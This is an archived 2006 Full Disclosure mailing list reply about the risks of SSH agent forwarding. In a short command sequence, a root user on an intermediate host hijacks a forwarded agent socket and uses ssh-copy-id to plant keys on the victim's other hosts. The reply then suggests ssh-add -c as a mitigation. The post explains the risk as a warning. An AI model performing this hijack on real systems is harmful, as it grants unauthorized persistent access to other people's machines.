Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:
edgeos



Full Disclosure: Re: Tech Tip: An Illustrated Guide to SSH Agent Forwarding

Re: Tech Tip: An Illustrated Guide to SSH Agent Forwarding

From: Andrew McGill <andrew2005_at_ledge.co.za>
Date: Fri, 24 Feb 2006 13:53:52 +0200 (SAST)

On Wednesday Feb 22, 2006 around 1:37pm, Steve Friedl wrote,

> Hello all,
>
> While trying to convince a customer that he really needs to get away
> from password auth on his SSH servers, I ended up diving in to make
> some detailed notes on how key agents and forwarding work. The outcome
> of this was a new Tech Tip which explains it in some detail:
>
> Unixwiz.net Tech Tip: An Illustrated Guide to SSH Agent Forwarding
> http://www.unixwiz.net/techtips/ssh-agent-forwarding.html
>
> I hope some find this helpful.
>
> Regards,
> Steve

Here's something you missed in the "Cons" section of agent
forwarding:

  lala_at_local: ssh-add
  lala_at_local: (enter key)
  lala_at_local: ssh -A customer

    lala_at_customer: ssh remote

      lala_at_remote: sleep 86400

And while you are sleeping:
  root_at_customer does this:
        export SSH_AUTH_SOCK=`find /tmp -user lala -name 'agent.*' | head -1`
        ssh-copy-id lala_at_remote
        ssh-copy-id lala_at_local
        ssh-copy-id lala_at_othercustomer
        ssh-copy-id lala_at_lalaland

(Oops) (that's a lot easier than subverting ssh to insert
something evil into the stream that will hack into the remote)

If there are untrusted machines involved you may prefer this:

  ssh-add -c

Note that ssh-agent does not identify the origin of requests for
authentication (a bug?), so its confirmation is not fail-safe.

&:-)

-- 
Leading Edge Business Solutions              +27 11 656 0360
Linux Training, Software and Networking  http://ledge.co.za/
Linux - laai niks anders
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Received on Feb 24 2006
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
edgeos